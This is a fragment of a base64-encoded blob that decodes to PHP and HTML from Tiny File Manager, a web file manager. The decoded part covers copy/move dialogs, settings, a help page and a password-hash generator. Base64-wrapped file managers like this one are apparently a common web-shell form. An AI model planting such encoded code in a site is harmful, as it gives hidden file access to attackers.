Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX